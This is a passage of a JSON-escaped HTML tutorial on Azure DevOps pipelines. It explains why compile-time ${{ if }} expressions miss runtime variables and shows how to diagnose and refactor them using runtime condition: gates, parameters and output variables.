tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThere is one additional trap: the boolean string problem. A variable declared with \u003ccode\u003efalse\u003c/code\u003e in a YAML file is stored as the string \u003ccode\u003e'false'\u003c/code\u003e — a non-empty string, which is truthy.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eisProd\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# Stored as the string \u0026#39;false\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# WRONG: implicit truthiness check — \u0026#39;false\u0026#39; is a non-empty string, so this block IS included\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if variables.isProd }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;This step RUNS even when isProd is \u0026#39;false\u0026#39;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# CORRECT: explicit equality check handles the string representation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables.isProd, \u0026#39;true\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;This step correctly skips when isProd is \u0026#39;false\u0026#39;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAlways use explicit equality comparisons (\u003ccode\u003eeq()\u003c/code\u003e, \u003ccode\u003ene()\u003c/code\u003e) on variable values.\u003c/p\u003e\n\u003ch3 id=\"the-three-most-common-triggers\"\u003eThe Three Most Common Triggers\u003c/h3\u003e\n\u003cp\u003eThese three patterns account for the majority of silent failures in production pipelines:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePredefined pipeline variables:\u003c/strong\u003e \u003ccode\u003eBuild.Reason\u003c/code\u003e, \u003ccode\u003eBuild.SourceBranch\u003c/code\u003e, and \u003ccode\u003eSystem.PullRequest.TargetBranch\u003c/code\u003e are set by the service during Phase 4. They are empty strings at compile time.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVariable group values:\u003c/strong\u003e Variable groups load during the Initialize phase (Phase 4). Any \u003ccode\u003e${{ if }}\u003c/code\u003e testing a variable group value is testing an empty string.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTask output variables:\u003c/strong\u003e Task output variables are set by \u003ccode\u003etask.setvariable\u003c/code\u003e during Phase 5 (Execute) — three full phases after \u003ccode\u003e${{ }}\u003c/code\u003e evaluates. There is no mechanism that makes a task output available at compile time.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"diagnosing-the-failure-in-two-minutes\"\u003eDiagnosing the Failure in Two Minutes\u003c/h2\u003e\n\u003ch3 id=\"the-expanded-yaml-view\"\u003eThe Expanded YAML View\u003c/h3\u003e\n\u003cp\u003eEvery completed pipeline run exposes the fully compiled YAML. To access it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eOpen the pipeline run in Azure DevOps.\u003c/li\u003e\n\u003cli\u003eClick the job name in the left-side job list.\u003c/li\u003e\n\u003cli\u003eExpand the \u003cstrong\u003eInitialize job\u003c/strong\u003e log step.\u003c/li\u003e\n\u003cli\u003eScroll to the \u003cstrong\u003eExpand YAML\u003c/strong\u003e section (or click \u003cstrong\u003eDownload full YAML\u003c/strong\u003e from the run\u0026rsquo;s \u003ccode\u003e...\u003c/code\u003e menu).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe Expanded YAML shows the static pipeline plan that the agent received. If a step is absent from this output, a false compile-time condition excluded it. If the block is present but did not execute, the failure is a runtime condition or a task error.\u003c/p\u003e\n\u003cp\u003eWhen scanning the Expanded YAML, search for the \u003ccode\u003edisplayName:\u003c/code\u003e value of the missing step. If it does not appear, the step was excluded by a false \u003ccode\u003e${{ if }}\u003c/code\u003e. If it appears but has \u003ccode\u003econdition: false\u003c/code\u003e or shows as skipped in the log, the issue is in the runtime layer.\u003c/p\u003e\n\u003ch3 id=\"the-compile-time-probe-pattern\"\u003eThe Compile-Time Probe Pattern\u003c/h3\u003e\n\u003cp\u003eAdd a temporary diagnostic step immediately before the suspicious \u003ccode\u003e${{ if }}\u003c/code\u003e block. The probe must use \u003ccode\u003e$( )\u003c/code\u003e macro syntax (runtime) — not \u003ccode\u003e${{ }}\u003c/code\u003e (compile-time) — to read the variable value.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Diagnostic probe: use $( ) to see runtime values\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    echo \u0026#34;--- Variable availability probe ---\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    echo \u0026#34;Build.Reason:       $(Build.Reason)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    echo \u0026#34;Build.SourceBranch: $(Build.SourceBranch)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    echo \u0026#34;featureFlag:        $(featureFlag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    echo \u0026#34;---\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Diagnostic: variable availability probe\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# The suspicious block follows the probe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf the probe shows the expected value (e.g., \u003ccode\u003eBuild.Reason: PullRequest\u003c/code\u003e) but the step is absent from the Expanded YAML, you have confirmed the phase mismatch.\u003c/p\u003e\n\u003ch3 id=\"reading-the-pipeline-initialization-log\"\u003eReading the Pipeline Initialization Log\u003c/h3\u003e\n\u003cp\u003eThe \u003cstrong\u003eInitialize job\u003c/strong\u003e log entry lists every variable visible to the agent at startup. Scan the list:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIf your variable appears with a value, it exists at runtime but was not available at compile time. Refactor to a runtime condition.\u003c/li\u003e\n\u003cli\u003eIf your variable does not appear, it was never set. Check variable group bindings or upstream job outputs.\u003c/li\u003e\n\u003cli\u003eSecret variables appear as \u003ccode\u003e***\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe initialization log proves the variable arrived; the Expanded YAML proves whether the step survived compilation.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"refactoring-patterns--moving-logic-to-the-right-phase\"\u003eRefactoring Patterns — Moving Logic to the Right Phase\u003c/h2\u003e\n\u003ch3 id=\"pattern-a--replace--if--with-a-runtime-condition\"\u003ePattern A — Replace \u003ccode\u003e${{ if }}\u003c/code\u003e with a Runtime \u003ccode\u003econdition:\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eFor step-level and job-level branching that depends on runtime values, \u003ccode\u003econdition:\u003c/code\u003e is the direct replacement. The step stays in the Expanded YAML, but the agent skips it at execution time if the condition evaluates to false.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Before: compile-time gate (broken for runtime variables)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan (PR only)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# After: runtime gate (fixed)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan (PR only)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis improves observability. A non-PR run logs the step as \u0026ldquo;Step skipped\u0026rdquo; and prints the evaluated condition. Compile-time exclusions leave no evidence.\u003c/p\u003e\n\u003ch3 id=\"pattern-b--promote-runtime-values-to-compile-time-parameters\"\u003ePattern B — Promote Runtime Values to Compile-Time Parameters\u003c/h3\u003e\n\u003cp\u003eWhen branching logic must happen at compile time (e.g., including an entire template file), the value must come from a \u003ccode\u003eparameters:\u003c/code\u003e declaration, not a variable. Queue-time parameters are available during Phase 2.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm ci\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Install dependencies\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Compile-time gate: valid because parameters exist in Phase 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.runSecurityScan }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/security-scan.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUse \u003ccode\u003etype: boolean\u003c/code\u003e for parameters. Unlike string variables, typed boolean parameters preserve their type and avoid the string truthiness trap.\u003c/p\u003e\n\u003ch3 id=\"pattern-c--split-the-condition-into-two-phases\"\u003ePattern C — Split the Condition into Two Phases\u003c/h3\u003e\n\u003cp\u003eUse \u003ccode\u003e${{ if parameters.enableStep }}\u003c/code\u003e as a compile-time inclusion gate, and \u003ccode\u003econdition:\u003c/code\u003e as the runtime execution gate. The two are independent.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenableSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# Caller can opt out\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Phase 1: Compile-time gate (include step if caller opts in)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.enableSecurityScan }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Phase 2: Runtime gate (execute only on PR runs)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run security-scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SAST security scan (PR only)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.Reason\u0026#39;], \u0026#39;PullRequest\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA caller passing \u003ccode\u003eenableSecurityScan: false\u003c/code\u003e removes the step from the pipeline plan completely. A caller using the default includes the step, which then evaluates the runtime condition.\u003c/p\u003e\n\u003ch3 id=\"pattern-d--choosing-the-right-gate\"\u003ePattern D — Choosing the Right Gate\u003c/h3\u003e\n\u003cp\u003eThe correct gate depends on where the controlling value originates:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eAvailable at Compile Time (Phase 2)\u003c/th\u003e\n          \u003cth\u003eNOT Available at Compile Time\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eparameters.myParam\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eCompile-time \u003ccode\u003e${{ if }}\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eStatic YAML \u003ccode\u003evariables:\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eCompile-time \u003ccode\u003e${{ if }}\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eVariable group value\u003c/td\u003e\n          \u003ctd\u003eRuntime \u003ccode\u003econdition:\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003ePredefined pipeline variable\u003c/td\u003e\n          \u003ctd\u003eRuntime \u003ccode\u003econdition:\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eTask output variable\u003c/td\u003e\n          \u003ctd\u003eRuntime \u003ccode\u003econdition:\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eIf the value can change between pipeline runs or cannot be known before the run starts, it belongs in a runtime \u003ccode\u003econdition:\u003c/code\u003e, never a compile-time \u003ccode\u003e${{ if }}\u003c/code\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"output-variables--the-special-case\"\u003eOutput Variables — The Special Case\u003c/h2\u003e\n\u003ch3 id=\"why--if--can-never-read-a-task-output\"\u003eWhy \u003ccode\u003e${{ if }}\u003c/code\u003e Can Never Read a Task Output\u003c/h3\u003e\n\u003cp\u003eTask output variables are set during Phase 5 (Execute). It is physically impossible for a compile-time expression (Phase 2) to read them.\u003c/p\u003e\n\u003cp\u003eThe correct pattern uses a runtime \u003ccode\u003econdition:\u003c/code\u003e referencing the dependency context:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCheckJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;##vso[task.setvariable variable=runTests;isOutput=true]true\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetFlag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCheckJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# CORRECT: condition: fires at runtime and reads the output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(dependencies.CheckJob.outputs[\u0026#39;setFlag.runTests\u0026#39;], \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"cross-stage-output-variables\"\u003eCross-Stage Output Variables\u003c/h3\u003e\n\u003cp\u003eStage-level output variables use \u003ccode\u003e$[ stageDependencies.StageName.JobName.outputs['stepName.varName'] ]\u003c/code\u003e. The consuming stage must declare \u003ccode\u003edependsOn: StageName\u003c/code\u003e to populate the dependency object.\u003c/p\u003e\n\u003cp\u003eA missing \u003ccode\u003edependsOn\u003c/code\u003e causes \u003ccode\u003estageDependencies\u003c/code\u003e to be empty. The variable reference resolves to \u003ccode\u003e''\u003c/code\u003e, and the step skips silently on every run — a different root cause producing the same symptom as the compile-time problem. Use the Expanded YAML and the diagnostic probe to confirm.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-fixing-a-branch-gated-security-scan\"\u003eHands-On Example: Fixing a Branch-Gated Security Scan\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A pipeline includes a SAST security scan that should run only on pull requests. An engineer wrote the condition using \u003ccode\u003e${{ if eq(variables['Build.Reason'], 'PullRequest') }}\u003c/code\u003e. The scan never runs, even on PRs. No error appears in the logs.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAn Azure DevOps pipeline\u003c/li\u003e\n\u003cli\u003eAbility to trigger a manual run and a PR-based run\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"step-1-confirm-the-failure-with-the-expanded-yaml\"\u003eStep 1: Confirm the failure with the Expanded YAML\u003c/h3\u003e\n\u003cp\u003eTrigger a PR-based run. Open the run, click the job, and expand \u003cstrong\u003eInitialize job → Expand YAML\u003c/strong\u003e. Search for \u003ccode\u003eSAST security scan\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe step is absent. A false compile-time \u003ccode\u003e${{ if }}\u003c/code\u003e excluded it.\u003c/p\u003e\n\u003ch3 